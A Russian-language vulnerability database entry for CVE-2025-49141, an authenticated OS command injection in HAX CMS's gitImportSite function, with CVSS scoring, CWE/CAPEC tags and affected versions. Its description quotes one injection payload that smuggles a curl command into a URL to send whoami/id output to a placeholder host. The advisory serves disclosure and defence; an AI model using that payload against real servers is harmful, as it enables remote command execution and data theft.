V
Сканер-ВС
ГлавнаяКаталогИсточникиCWECAPECATT&CKМеры защитыПродуктыВендорыДокументация
CVE-2025-49141
ANC
Высокий

Уязвимость HAX CMS PHP позволяет пользователям управлять своей вселенной микросайтов с помощью бэкэнда PHP. До версии 11.0.3 функция `gitIm…

CVSS
8.8
Высокий
EPSS
0.01
p70
Опубликовано
2025-01-01
Обновлено
2025-01-01
Описание

Уязвимость HAX CMS PHP позволяет пользователям управлять своей вселенной микросайтов с помощью бэкэнда PHP. До версии 11.0.3 функция `gitImportSite` получает строку URL из POST-запроса и недостаточно проверяет пользовательский ввод. Функция `set_remote` затем передает этот ввод в `proc_open`, что приводит к инъекции команд ОС. Аутентифицированный злоумышленник может создать строку URL, которая обходит проверки валидации, выполняемые функциями `filter_var` и `strpos`, чтобы выполнить произвольные команды ОС на сервере бэкэнда. Злоумышленник может извлечь вывод команды через HTTP-запрос [1]. Уязвимость существует в логике функции `gitImportSite`, расположенной в `Operations.php`. Текущая реализация полагается только на функции `filter_var` и `strpos` для валидации URL, что недостаточно для обеспечения отсутствия всех специальных символов Bash, используемых для инъекции команд. Для воспроизведения уязвимости необходимо аутентифицироваться и отправить POST-запрос к эндпоинту `gitImportSite` с поддельным URL в данных JSON. Пример payload для инъекции команды: http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef [2]. Источники: - [1] https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw - [2] https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3

Теги · CWE
CWE-78
CAPEC-6
CAPEC-15
CAPEC-43
CAPEC-88
CAPEC-108
Затронутые продукты
Haxcms-nodejs < 11.0.3Haxcms-php < 11.0.0
Вектор CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Хронология
2025-01-01
Опубликована
2025-01-01
Обновлена
Разбор CVSS 3.1
Вектор атаки
AV: N
Сеть (N)
Сложность атаки
AC: L
Низкая (L)
Требуемые привилегии
PR: L
Низкие (L)
Взаимодействие с пользователем
UI: N
Отсутствует (N)
Область воздействия
S: U
Неизменная (U)
Воздействие на конфиденциальность
C: H
Высокое (H)
Воздействие на целостность
I: H
Высокое (H)
Воздействие на доступность
A: H
Высокое (H)
Индикаторы эксплуатации
EPSS
0.015 · p70
Известна эксплуатация (KEV)
Нет
Проверки Сканер-ВС
Проверок Сканер-ВС для этой уязвимости в базе пока нет.
Затронутые продукты
ПродуктВендорСтатус
Отслеживается
haxcms-nodejs*Отслеживается
haxcms-php*Отслеживается
Источники данных
ANC
CVE